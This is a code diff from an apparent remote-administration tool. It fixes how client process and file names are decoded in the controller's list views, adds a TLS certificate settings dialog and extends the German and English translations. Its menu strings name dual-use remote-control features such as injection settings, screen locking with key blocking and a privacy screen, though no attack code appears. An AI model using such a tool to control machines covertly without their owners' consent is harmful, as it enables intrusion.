+// 按客户端编码 (936 或 UTF-8) 解码字节串，并用 LVM_SETITEMTEXTW 写入列表单元格，
+// 绕开 ANSI→CP_ACP 回转（非中文 ACP 服务端上中文也能正常显示，与窗口管理同法）。
+static void SetClientTextItem(CListCtrl& list, int iItem, int iSubItem, const char* sz, UINT cp)
+{
+    std::wstring w;
+    if (sz && sz[0]) {
+        int wlen = MultiByteToWideChar(cp, 0, sz, -1, NULL, 0);
+        if (wlen > 1) {
+            w.resize(wlen - 1);
+            MultiByteToWideChar(cp, 0, sz, -1, &w[0], wlen);
+        }
+    }
+    LVITEMW lv = {};
+    lv.mask = LVIF_TEXT;
+    lv.iItem = iItem;
+    lv.iSubItem = iSubItem;
+    lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
+    ::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
+}
+
 void CSystemDlg::ShowProcessList(void)
 {
     // GetMyBuffer(1) 深拷贝数据，跳过 TOKEN 字节
@@ -248,6 +268,10 @@ void CSystemDlg::ShowProcessList(void)
     const char	*szProcessFullPath;
     DWORD	dwOffset = 0;
     CString str;
+    // 进程名/路径编码：Windows 客户端 A 接口生成，恒为 GBK/936；仅 LNX/MAC 为 UTF-8。
+    // 不能用 GetClientEncoding（它对新客户端返回 CP_UTF8，会把 GBK 进程名解成乱码）。
+    UINT cp = GetProcessListEncoding(m_ContextObject);
+
     DeleteAllItems();
     //遍历发送来的每一个字符别忘了他的数据结构啊 Id+进程名+0+完整名+0
     int i;
@@ -258,10 +282,11 @@ void CSystemDlg::ShowProcessList(void)
         szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1;  //完整名就是进程名之后的啦
         //他的数据结构的构建很巧妙
 
-        m_ControlList.InsertItem(i, arr[0].c_str());       //将得到的数据加入到列表当中
+        m_ControlList.InsertItem(i, "");       // 占位，首列随后用 Unicode 写入
         str.FormatL("%5u", *PID);
-        m_ControlList.SetItemText(i, 1, str);
-        m_ControlList.SetItemText(i, 2, szProcessFullPath);
+        m_ControlList.SetItemText(i, 1, str);              // PID (ASCII)
+        SetClientTextItem(m_ControlList, i, 0, arr[0].c_str(), cp);      // 进程名（按客户端编码）
+        SetClientTextItem(m_ControlList, i, 2, szProcessFullPath, cp);   // 程序路径（按客户端编码）
         m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str());
         // ItemData 为进程ID；Data[3] 需与第 4 列"架构"一致，否则按架构排序拿到空串而无意义
         auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath, arr[1].empty() ? "N/A" : arr[1].c_str()}, arr[1].c_str() };

server/2015Remote/TlsCertificateDlg.cpp

@@ -0,0 +1,234 @@
+#include "stdafx.h"
+#include "TlsCertificateDlg.h"
+#include "LangManager.h"         // _TR / MessageBoxL
+#include "2015Remote.h"          // THIS_CFG (GetThisCfg)
+#include "ServerTlsSession.h"    // ServerTlsIdentity::Load / IsLoadError
+#include "common/iniFile.h"      // config::GetInt/GetStr/SetInt/SetStr
+#include <atlconv.h>
+#include <afxdlgs.h>
+
+#ifdef _DEBUG
+#define new DEBUG_NEW
+#endif
+
+namespace {
+
+// 构造一个无控件的 DLGTEMPLATE：cdit=0，控件由 OnInitDialog 动态创建。
+// （与 McpSettingsDlg.cpp / ZstaPickerDlg.cpp 内同名函数一致）
+void BuildDialogTemplate(std::vector<BYTE>& out, LPCWSTR caption, short cx, short cy)
+{
+    out.clear();
+    auto append = [&](const void* p, size_t n) {
+        const BYTE* b = (const BYTE*)p;
+        out.insert(out.end(), b, b + n);
+    };
+    auto appendW = [&](WORD v) {
+        out.push_back((BYTE)(v & 0xFF));
+        out.push_back((BYTE)((v >> 8) & 0xFF));
+    };
+    auto appendWStr = [&](LPCWSTR s) {
+        size_t n = wcslen(s);
+        append(s, (n + 1) * sizeof(WCHAR));
+    };
+
+    DLGTEMPLATE dt = { 0 };
+    dt.style = DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | DS_CENTER |
+               WS_POPUP | WS_CAPTION | WS_SYSMENU;
+    dt.dwExtendedStyle = 0;
+    dt.cdit = 0;
+    dt.x = 0; dt.y = 0;
+    dt.cx = cx; dt.cy = cy;
+    append(&dt, sizeof(dt));
+    appendW(0);                          // no menu
+    appendW(0);                          // default dialog class
+    appendWStr(caption);                 // caption
+    appendW(8);                          // font point size
+    appendWStr(L"MS Shell Dlg");         // typeface
+
+    while (out.size() % 4) out.push_back(0); // DWORD align
+}
+
+} // namespace
+
+BEGIN_MESSAGE_MAP(CTlsCertificateDlg, CDialog)
+    ON_BN_CLICKED(IDC_TLS_CERT_BROWSE, &CTlsCertificateDlg::OnBrowseCert)
+    ON_BN_CLICKED(IDC_TLS_KEY_BROWSE,  &CTlsCertificateDlg::OnBrowseKey)
+END_MESSAGE_MAP()
+
+CTlsCertificateDlg::CTlsCertificateDlg(CWnd* parent)
+    : CDialog((LPCTSTR)NULL, parent)
+{
+}
+
+INT_PTR CTlsCertificateDlg::DoModal()
+{
+    USES_CONVERSION;
+    CString title = _TR("TLS证书");
+    BuildDialogTemplate(m_Template, T2CW(title), 340, 180);
+    InitModalIndirect((LPCDLGTEMPLATE)m_Template.data());
+    return CDialog::DoModal();
+}
+
+BOOL CTlsCertificateDlg::OnInitDialog()
+{
+    CDialog::OnInitDialog();
+
+    CRect cli;
+    GetClientRect(&cli);
+
+    // 占位 rect，真正布局在 LayoutControls 里
+    CRect r0(0, 0, 10, 10);
+
+    m_btnEnable.Create(_TR("启用加密"),
+                       WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
+                       r0, this, IDC_TLS_ENABLE);
+    m_lblCert.Create(_TR("证书路径"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
+    m_editCert.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
+                      r0, this, IDC_TLS_CERT);
+    m_btnCertBrowse.Create(_TR("浏览"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
+                           r0, this, IDC_TLS_CERT_BROWSE);
+    m_lblKey.Create(_TR("私钥路径"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
+    m_editKey.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
+                     r0, this, IDC_TLS_KEY);
+    m_btnKeyBrowse.Create(_TR("浏览"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
+                          r0, this, IDC_TLS_KEY_BROWSE);
+    m_btnOK.Create(_TR("确定"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_DEFPUSHBUTTON,
+                   r0, this, IDOK);
+    m_btnCancel.Create(_TR("取消"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
+                       r0, this, IDCANCEL);
+
+    // 子控件继承对话框字体 (DS_SETFONT)
+    HFONT hFont = (HFONT)::SendMessage(GetSafeHwnd(), WM_GETFONT, 0, 0);
+    if (hFont) {
+        m_btnEnable.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_lblCert.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_editCert.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_btnCertBrowse.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_lblKey.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_editKey.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_btnKeyBrowse.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_btnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+        m_btnCancel.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+    }
+
+    // 回填配置
+    int enabled = THIS_CFG.GetInt("tls", "Enabled", 0);
+    std::string cert = THIS_CFG.GetStr("tls", "CertPath", "");
+    std::string key = THIS_CFG.GetStr("tls", "KeyPath", "");
+
+    m_btnEnable.SetCheck(enabled ? BST_CHECKED : BST_UNCHECKED);
+    m_editCert.SetWindowText(CString(cert.c_str()));
+    m_editKey.SetWindowText(CString(key.c_str()));
+
+    LayoutControls(cli.Width(), cli.Height());
+    return TRUE;
+}
+
+void CTlsCertificateDlg::OnOK()
+{
+    CString sCert, sKey;
+    m_editCert.GetWindowText(sCert);
+    m_editKey.GetWindowText(sKey);
+    bool enabled = (m_btnEnable.GetCheck() == BST_CHECKED);
+
+    std::string cert = CT2A(sCert);
+    std::string key = CT2A(sKey);
+
+    // 校验：启用加密时必须填写证书/私钥路径
+    if (enabled && cert.empty()) {
+        MessageBoxL("请填写证书路径", "提示", MB_ICONWARNING);
+        return;
+    }
+    if (enabled && key.empty()) {
+        MessageBoxL("请填写私钥路径", "提示", MB_ICONWARNING);
+        return;
+    }
+
+    // 落盘 [tls] 三键
+    THIS_CFG.SetInt("tls", "Enabled", enabled ? 1 : 0);
+    THIS_CFG.SetStr("tls", "CertPath", cert);
+    THIS_CFG.SetStr("tls", "KeyPath", key);
+
+    // 热重载身份（设计文档 §7.1）：开关与证书/私钥路径对新建连接即时生效。
+    // 已知窄竞态：Load 内部 FreeIdentity 与「已取 Cred 副本、尚在握手」的连接存在竞态，
+    // 未来热切换需引用计数 + 惰性释放（见 ServerTlsSession.cpp FreeIdentity 注释），本次不做。
+    ServerTlsIdentity::Load(THIS_CFG);
+
+    if (ServerTlsIdentity::IsLoadError()) {
+        MessageBoxL("证书/私钥加载失败，加密功能未生效。请检查文件路径与格式（证书 PEM、私钥 PKCS#8）。",
+                    "提示", MB_ICONWARNING);
+    } else {
+        MessageBox(_TR("TLS 配置已保存。") + _T("\r\n") +
+                   _TR("改动对新建连接即时生效。"),
+                   _TR("提示"), MB_ICONINFORMATION);
+    }
+
+    CDialog::OnOK();
+}
+
+void CTlsCertificateDlg::OnBrowseCert()
+{
+    CFileDialog dlg(TRUE, _T("crt"), nullptr,
+                    OFN_FILEMUSTEXIST | OFN_HIDEREADONLY,
+                    _T("Certificate Files (*.crt;*.pem;*.cer;*.cert)|*.crt;*.pem;*.cer;*.cert|All Files (*.*)|*.*||"),
+                    this);
+    dlg.m_ofn.lpstrTitle = _T("Select Certificate");
+
+    if (dlg.DoModal() == IDOK) {
+        m_editCert.SetWindowText(dlg.GetPathName());
+    }
+}
+
+void CTlsCertificateDlg::OnBrowseKey()
+{
+    CFileDialog dlg(TRUE, _T("key"), nullptr,
+                    OFN_FILEMUSTEXIST | OFN_HIDEREADONLY,
+                    _T("Key Files (*.key;*.pem)|*.key;*.pem|All Files (*.*)|*.*||"),
+                    this);
+    dlg.m_ofn.lpstrTitle = _T("Select Private Key");
+
+    if (dlg.DoModal() == IDOK) {
+        m_editKey.SetWindowText(dlg.GetPathName());
+    }
+}
+
+void CTlsCertificateDlg::LayoutControls(int cx, int cy)
+{
+    const int margin = 14;
+    const int labelW = 72;
+    const int rowH = 24;
+    const int gap = 10;
+    const int browseW = 64;
+    const int btnW = 88;
+    const int btnH = 26;
+
+    int y = margin;
+    m_btnEnable.MoveWindow(margin, y, cx - margin * 2, 22);
+    y += 30;
+
+    int editW = cx - margin * 2 - labelW - browseW - gap;
+
+    m_lblCert.MoveWindow(margin, y, labelW, rowH);
+    m_editCert.MoveWindow(margin + labelW, y - 2, editW, rowH);
+    m_btnCertBrowse.MoveWindow(cx - margin - browseW, y - 2, browseW, rowH);
+    y += rowH + gap;
+
+    m_lblKey.MoveWindow(margin, y, labelW, rowH);
+    m_editKey.MoveWindow(margin + labelW, y - 2, editW, rowH);
+    m_btnKeyBrowse.MoveWindow(cx - margin - browseW, y - 2, browseW, rowH);
+    y += rowH + gap;
+
+    // 确定 / 取消按钮紧随私钥路径下方
+    m_btnCancel.MoveWindow(cx - margin - btnW, y, btnW, btnH);
+    m_btnOK.MoveWindow(cx - margin - btnW * 2 - gap, y, btnW, btnH);
+    y += btnH + margin;
+
+    // 收缩对话框到内容实际高度并重新居中，消除底部空白。
+    if (y < cy) {
+        CRect wnd;
+        GetWindowRect(&wnd);
+        SetWindowPos(NULL, 0, 0, wnd.Width(), y + (wnd.Height() - cy),
+                     SWP_NOMOVE | SWP_NOZORDER | SWP_NOACTIVATE);
+        CenterWindow();
+    }
+}

server/2015Remote/TlsCertificateDlg.h

@@ -0,0 +1,43 @@
+#pragma once
+
+#include <afxwin.h>
+#include <afxcmn.h>
+#include <vector>
+
+// 「TLS证书」配置对话框：启用服务端单向 TLS 加密 + 指定证书/私钥路径。
+// 因 2015Remote.rc 为 UTF-16 编码、不宜手工编辑，参照 CMcpSettingsDlg 用
+// InitModalIndirect + 内存 DLGTEMPLATE 程序化创建（见 docs/TransportTLS_MFCServer_Design.md §7.1）。
+class CTlsCertificateDlg : public CDialog
+{
+public:
+    explicit CTlsCertificateDlg(CWnd* parent = nullptr);
+
+    virtual INT_PTR DoModal();
+
+protected:
+    virtual BOOL OnInitDialog();
+    virtual void OnOK();
+
+    DECLARE_MESSAGE_MAP()
+
+private:
+    enum CtrlId {
+        IDC_TLS_ENABLE      = 2001,  // 「启用加密」复选框
+        IDC_TLS_CERT        = 2002,  // 证书路径编辑框
+        IDC_TLS_CERT_BROWSE = 2003,  // 证书路径「浏览...」按钮
+        IDC_TLS_KEY         = 2004,  // 私钥路径编辑框
+        IDC_TLS_KEY_BROWSE  = 2005,  // 私钥路径「浏览...」按钮
+    };
+
+    CButton m_btnEnable;
+    CStatic m_lblCert, m_lblKey;
+    CEdit   m_editCert, m_editKey;
+    CButton m_btnCertBrowse, m_btnKeyBrowse;
+    CButton m_btnOK, m_btnCancel;
+
+    std::vector<BYTE> m_Template;  // 内存 DLGTEMPLATE 字节
+
+    void LayoutControls(int cx, int cy);
+    void OnBrowseCert();
+    void OnBrowseKey();
+};

server/2015Remote/TriggerSettingsDlg.cpp

@@ -134,6 +134,13 @@ void CTriggerSettingsDlg::InitControls()
     SetWindowText(_TR("触发器设置"));
     GetDlgItem(IDC_STATIC_TRIGGER_TYPE)->SetWindowText(_TR("触发类型:"));
     GetDlgItem(IDC_STATIC_TRIGGER_ACTION)->SetWindowText(_TR("执行动作:"));
+
+    // 按钮/分组框文字来自对话框模板，非中文系统上会被系统 ACP 转成 "?"，须显式设置
+    SetDlgItemText(IDC_STATIC_TRIGGER_LIST, _TR("已配置的触发器"));
+    SetDlgItemText(IDC_BTN_TRIGGER_ADD,     _TR("添加 >>"));
+    SetDlgItemText(IDC_BTN_TRIGGER_REMOVE,  _TR("<< 移除"));
+    SetDlgItemText(IDC_BTN_SAVE,            _TR("保存(&S)"));
+    SetDlgItemText(IDOK,                    _TR("关闭"));
 }
 
 void CTriggerSettingsDlg::LoadPluginsToList()

server/2015Remote/UIBranding.h

@@ -172,6 +172,7 @@
 #define HIDE_MENU_PLUGIN_REQUEST        0   // 插件请求
 #define HIDE_MENU_FRPS_FOR_SUB          0   // 下级FRP
 #define HIDE_MENU_MCP_SETTINGS          0   // MCP设置
+#define HIDE_MENU_TLS_CERTIFICATE       0   // TLS证书
 
 // --- 扩展菜单 - 语言子菜单 ---
 #define HIDE_MENU_CHANGE_LANG           0   // 更改语言

server/2015Remote/WebService.cpp

@@ -245,6 +245,11 @@ void CWebService::ServerThread(int port) {
     // server's subpath deployment. The MFC server serves from the domain root,
     // so strip it (→ "") — otherwise the WebSocket/CSS/JS URLs break.
     ReplaceAll(cachedHtml, "__BASE_PATH__", "");
+    // server/web/index.html also carries a __BRAND_NAME__ placeholder for the
+    // white-label title. The Go server swaps it at serve time (defaulting to
+    // "SimpleRemoter"); the MFC server does the same here, otherwise the login
+    // page shows the literal "__BRAND_NAME__" token as <title>/<h1>.
+    ReplaceAll(cachedHtml, "__BRAND_NAME__", "SimpleRemoter");
     // Log loaded size; zero bytes means the RC BINARY resource is missing or
     // server/web/index.html was not embedded — check 2015Remote.rc and rebuild.
     Mprintf("[WebService] index.html loaded: %zu bytes\n", cachedHtml.size());

server/2015Remote/context.h

@@ -22,6 +22,7 @@ enum {
     ONLINELIST_STARTTIME,
     ONLINELIST_CAPABILITIES,    // 客户端能力位
     ONLINELIST_PRIVILEGE,       // 权限级别 (SYSTEM/Admin/User)
+    ONLINELIST_TLS,             // TLS 传输启用标志 (0/1)
     ONLINELIST_MAX,
 };
 

server/2015Remote/file/CFileManagerDlg.cpp

@@ -7,6 +7,7 @@
 #include "InputDlg.h"
 #include <windows.h>
 #include <Shlwapi.h>
+#include <string>
 
 #ifdef _DEBUG
 #define new DEBUG_NEW
@@ -157,6 +158,15 @@ BOOL CFileManagerDlg::OnInitDialog()
     SetDlgItemText(IDC_STATIC_FILE_WINOS_SEARCH, _TR("搜索文件名:"));
     SetDlgItemText(IDC_STATIC_FILE_WINOS_PATH, _TR("路径："));
 
+    // 多语言翻译 - 按钮/复选框（模板文字在非中文系统会被系统 ACP 转成 "?"，须显式设置）
+    SetDlgItemText(IDC_CK_SUBFORDLE, _TR("包含子文件夹"));
+    SetDlgItemText(IDC_BTN_SEARCH,   _TR("开始搜索"));
+    SetDlgItemText(ID_SEARCH_STOP,   _TR("停止搜索"));
+    SetDlgItemText(ID_SEARCH_RESULT, _TR("搜索栏"));
+    SetDlgItemText(IDT_REMOTE_PREV,  _TR("上一层"));
+    SetDlgItemText(IDT_REMOTE_VIEW,  _TR("切换显示"));
+    SetDlgItemText(IDT_REMOTE_STOP,  _TR("取消"));
+
     RECT	rect;
     GetClientRect(&rect);
 
@@ -809,8 +819,32 @@ void CFileManagerDlg::OnclickListSearch(NMHDR* pNMHDR, LRESULT* pResult)
 
 int	GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes);
 
+// 远程文件名/路径编码按 clientType 判定：Windows 走 A 接口(FindFirstFileA)=GBK/936，
+// LNX/MAC 文件系统天然 UTF-8（同 McpServer.cpp::BuildListFiles）。这里用 LVM_SETITEMTEXTW
+// 直接写宽字符串，绕开 ANSI→CP_ACP 回转，即使服务端运行在非中文 ACP 上中文名也能正常显示。
+static void SetFileTextItem(CListCtrl& list, int iItem, int iSubItem, const char* sz, UINT cp)
+{
+    std::wstring w;
+    if (sz && sz[0]) {
+        int wlen = MultiByteToWideChar(cp, 0, sz, -1, NULL, 0);
+        if (wlen > 1) {
+            w.resize(wlen - 1);
+            MultiByteToWideChar(cp, 0, sz, -1, &w[0], wlen);
+        }
+    }
+    LVITEMW lv = {};
+    lv.mask = LVIF_TEXT;
+    lv.iItem = iItem;
+    lv.iSubItem = iSubItem;
+    lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
+    ::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
+}
+
 void CFileManagerDlg::FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen)
 {
+    CString clientType = m_ContextObject->GetAdditionalData(RES_CLIENT_TYPE);
+    UINT cp = (clientType == _T("LNX") || clientType == _T("MAC")) ? CP_UTF8 : 936;
+
     // 重建标题
     m_list_remote.DeleteAllItems();
     int	nItemIndex = 0;
@@ -846,7 +880,8 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen)
 
                 if (bIsInsert) {
                     int iicon = GetIconIndex(pszFileName, nType);
-                    nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, iicon);
+                    nItem = m_list_remote.InsertItem(nItemIndex++, _T(""), iicon);
+                    SetFileTextItem(m_list_remote, nItem, 0, pszFileName, cp);
                     m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
                     SHFILEINFO	sfi = {};
                     SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
@@ -2412,6 +2447,9 @@ void CFileManagerDlg::SearchEnd()
 
 void CFileManagerDlg::FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLen)
 {
+    CString clientType = m_ContextObject->GetAdditionalData(RES_CLIENT_TYPE);
+    UINT cp = (clientType == _T("LNX") || clientType == _T("MAC")) ? CP_UTF8 : 936;
+
     byte* pList = pbBuffer + 1;
     int		nItemIndex = 0;
     for (byte* pBase = pList; (int)(pList - pBase) < (int)(dwBufferLen - 1);) {
@@ -2430,7 +2468,8 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLe
         int nPos = csFilePath.ReverseFind(_T('\\'));
         csFileFullName = csFilePath.Right(csFilePath.GetLength() - nPos - 1);// 获取文件全名，包括文件名和扩展名
 
-        nItem = m_list_remote_search.InsertItem(nItemIndex++, csFileFullName, GetIconIndex(pszFileName, nType));
+        nItem = m_list_remote_search.InsertItem(nItemIndex++, _T(""), GetIconIndex(pszFileName, nType));
+        SetFileTextItem(m_list_remote_search, nItem, 0, csFileFullName, cp);
         m_list_remote_search.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
 
         pList += (lstrlen(pszFileName) + 1) * sizeof(TCHAR);
@@ -2446,7 +2485,7 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLe
         m_list_remote_search.SetItemText(nItem, 2, time.FormatL(_T("%Y-%m-%d %H:%M")));
 
         PathRemoveFileSpec(pszFileName); //去除文件名获取文件路径
-        m_list_remote_search.SetItemText(nItem, 3, pszFileName);
+        SetFileTextItem(m_list_remote_search, nItem, 3, pszFileName, cp);
 
         pList += 16;
     }
@@ -2482,6 +2521,9 @@ void CFileManagerDlg::ShowSearchPlugList()
     char* Filename;
     char* Pathname;
 
+    CString clientType = m_ContextObject->GetAdditionalData(RES_CLIENT_TYPE);
+    UINT cp = (clientType == _T("LNX") || clientType == _T("MAC")) ? CP_UTF8 : 936;
+
     DWORD	dwOffset = 0;
     m_list_remote_search.DeleteAllItems();
     int i = 0;
@@ -2489,13 +2531,13 @@ void CFileManagerDlg::ShowSearchPlugList()
         Filename = lpBuffer + dwOffset;
         Pathname = Filename + strlen(Filename) + 1;
         CString CS_tem;
-        CS_tem = Filename;
-        m_list_remote_search.InsertItem(i, CS_tem, 0);
+        m_list_remote_search.InsertItem(i, _T(""), 0);
+        SetFileTextItem(m_list_remote_search, i, 0, Filename, cp);
         CS_tem = Pathname;
         int index = CS_tem.ReverseFind('\\');
         if (index >= 0)
             CS_tem = CS_tem.Left(index);
-        m_list_remote_search.SetItemText(i,3, CS_tem);
+        SetFileTextItem(m_list_remote_search, i, 3, CS_tem, cp);
         dwOffset += strlen(Filename) + strlen(Pathname) + 2;
     }
     m_list_remote_search.EnableWindow(TRUE);

server/2015Remote/lang/de_DE.ini

@@ -306,6 +306,7 @@ Web
 ; ============================================
 发送消息=Nachricht senden
 结束交谈=Chat beenden
+确定开始远程交谈吗?=Remote-Chat starten?
 锁定屏幕\n屏蔽功能键=Bildschirm sperren\nTasten blockieren
 解除锁定=Entsperren
 
@@ -2067,4 +2068,32 @@ JPEG
 不限速=Unbegrenzt
 %s · 约 %.2f MB/s=%s · ca. %.2f MB/s
 %s · 不受限速（受网络带宽约束）=%s · Unbegrenzt (durch Netzwerkbandbreite begrenzt)
-文件传输速度已保存。上传速度重启主控端后生效；下载速度下次打开文件管理或远程桌面后生效。=Uebertragungsgeschwindigkeit gespeichert. Upload-Geschwindigkeit wird nach Neustart des Masters wirksam; Download-Geschwindigkeit beim naechsten Oeffnen des Dateimanagers oder des Remotedesktops.
+文件传输速度已保存。上传速度重启主控端后生效；下载速度已推送到在线客户端，新连接的主机也会自动获取。=Uebertragungsgeschwindigkeit gespeichert. Upload-Geschwindigkeit wird nach Neustart des Masters wirksam; Download-Geschwindigkeit wurde an Online-Clients gesendet, neu verbundene Hosts erhalten sie automatisch.
+
+; ===== TLS =====
+TLS证书(&T)...=TLS-Zertifikat(&T)...
+TLS证书=TLS-Zertifikat
+启用加密=Verschluesselung aktivieren
+证书路径=Zertifikatspfad
+私钥路径=Pfad zum privaten Schluessel
+请填写证书路径=Bitte Zertifikatspfad angeben
+请填写私钥路径=Bitte Pfad zum privaten Schluessel angeben
+TLS 配置已保存。=TLS-Einstellungen gespeichert.
+改动对新建连接即时生效。=Aenderungen gelten sofort fuer neue Verbindungen.
+证书/私钥加载失败，加密功能未生效。请检查文件路径与格式（证书 PEM、私钥 PKCS#8）。=Zertifikat/privater Schluessel konnte nicht geladen werden; Verschluesselung ist inaktiv. Bitte Pfad und Format pruefen (PEM-Zertifikat, PKCS#8-Schluessel).
+TLS传输=TLS-Transport
+取消TLS=TLS deaktivieren
+确定对选中主机启用 TLS 传输吗？（客户端下次启动生效）=TLS-Transport fuer die ausgewaehlten Hosts aktivieren? (wirkt nach Client-Neustart)
+确定取消选中主机的 TLS 传输吗？（客户端下次启动生效）=TLS-Transport fuer die ausgewaehlten Hosts deaktivieren? (wirkt nach Client-Neustart)
+服务端未启用 TLS 证书，无法切换客户端 TLS 传输=Server-TLS-Zertifikat ist nicht aktiviert; TLS-Transport der Clients kann nicht umgeschaltet werden
+读取服务端 TLS 证书失败，无法下发=Server-TLS-Zertifikat konnte nicht gelesen werden; Verteilung nicht moeglich
+白名单=Whitelist
+确定将选中日志中的 IP 加入白名单吗？=IP aus den ausgewaehlten Log-Eintraegen zur Whitelist hinzufuegen?
+已将 %d 个 IP 加入白名单=%d IP(s) zur Whitelist hinzugefuegt
+%d 个 IP 已在白名单中=%d IP(s) bereits in der Whitelist
+%d 个 IP 已封禁，无法加入白名单=%d IP(s) sind gesperrt und koennen nicht zur Whitelist hinzugefuegt werden
+%s 文件句柄无效=%s ungueltiges Datei-Handle
+没有选中任何文件=Keine Dateien ausgewaehlt
+V2传输已启动，共 %d 个文件 -> %s=V2-Uebertragung gestartet, %d Datei(en) -> %s
+V2下载请求已发送，共 %d 个项目=V2-Download-Anfrage gesendet, %d Element(e)
+找不到主连接: clientID %llu=Hauptverbindung nicht gefunden: clientID=%llu

server/2015Remote/lang/en_US.ini

@@ -99,6 +99,8 @@ RTT=RTT
 即时消息=Message
 虚拟屏幕=Virtual Screen
 隐私屏幕=Privacy Screen
+实验功能=Experimental Features
+远程画板=Remote Drawing Board
 代理服务=Proxy Service
 注入设置=Inject Config
 创建计划任务=Scheduled Task
@@ -121,6 +123,7 @@ RTT=RTT
 
 ; ============================================
 ; Language Selection Dialog
+切换语言=Switch Language
 ; ============================================
 选择语言 / Select Language=Select Language
 语言:=Language:
@@ -306,6 +309,7 @@ Web
 ; ============================================
 发送消息=Send Msg
 结束交谈=End Chat
+确定开始远程交谈吗?=Start remote chat?
 锁定屏幕\n屏蔽功能键=Lock Screen\nBlock Keys
 解除锁定=Unlock
 
@@ -1397,6 +1401,7 @@ RDP
 C2C 文件传输=C2C File Transfer
 续传文件 (V2)=Resume File Upload (V2)
 发送文件 (V2)=Send File (V2)
+接收文件 (V2)=Receive File (V2)
 发送文件(%d/%d): %.2f%%=Send Files(%d/%d): %.2f%%
 接收文件(%d/%d): %.2f%%=Recv Files(%d/%d): %.2f%%
 [远程右键复制, 本地 Ctrl+V 粘贴]= [Remote Right-click Copy, Local Ctrl+V Paste]
@@ -2068,7 +2073,7 @@ JPEG
 不限速=Unlimited
 %s · 约 %.2f MB/s=%s · about %.2f MB/s
 %s · 不受限速（受网络带宽约束）=%s · Unlimited (limited by network bandwidth)
-文件传输速度已保存。上传速度重启主控端后生效；下载速度下次打开文件管理或远程桌面后生效。=Transfer speed saved. Upload speed takes effect after restarting the master; download speed takes effect the next time you open File Manager or Remote Desktop.
+文件传输速度已保存。上传速度重启主控端后生效；下载速度已推送到在线客户端，新连接的主机也会自动获取。=Transfer speed saved. Upload speed takes effect after restarting the master; download speed has been pushed to online clients, and newly connected hosts will get it automatically.
 
 连接管理=Connections
 %s - 连接管理=%s - Connections
@@ -2079,3 +2084,31 @@ JPEG
 连接数:%d=Connections: %d
 强制断开=Force Disconnect
 远程交谈=Talk
+
+; ===== TLS =====
+TLS证书(&T)...=TLS Certificate(&T)...
+TLS证书=TLS Certificate
+启用加密=Enable Encryption
+证书路径=Certificate Path
+私钥路径=Private Key Path
+请填写证书路径=Please specify the certificate path
+请填写私钥路径=Please specify the private key path
+TLS 配置已保存。=TLS settings saved.
+改动对新建连接即时生效。=Changes take effect immediately for new connections.
+证书/私钥加载失败，加密功能未生效。请检查文件路径与格式（证书 PEM、私钥 PKCS#8）。=Failed to load certificate/private key; encryption is not active. Check the file path and format (PEM certificate, PKCS#8 private key).
+TLS传输=TLS Transport
+取消TLS=Disable TLS
+确定对选中主机启用 TLS 传输吗？（客户端下次启动生效）=Enable TLS transport for the selected host? (takes effect after the client restarts)
+确定取消选中主机的 TLS 传输吗？（客户端下次启动生效）=Disable TLS transport for the selected host? (takes effect after the client restarts)
+服务端未启用 TLS 证书，无法切换客户端 TLS 传输=Server TLS certificate is not enabled; cannot toggle client TLS transport
+读取服务端 TLS 证书失败，无法下发=Failed to read the server TLS certificate; cannot distribute
+白名单=Whitelist
+确定将选中日志中的 IP 加入白名单吗？=Add the IP from the selected log entries to the whitelist?
+已将 %d 个 IP 加入白名单=Added %d IP(s) to the whitelist
+%d 个 IP 已在白名单中=%d IP(s) already in the whitelist
+%d 个 IP 已封禁，无法加入白名单=%d IP(s) are banned and cannot be added to the whitelist
+%s 文件句柄无效=%s invalid file handle
+没有选中任何文件=No files selected
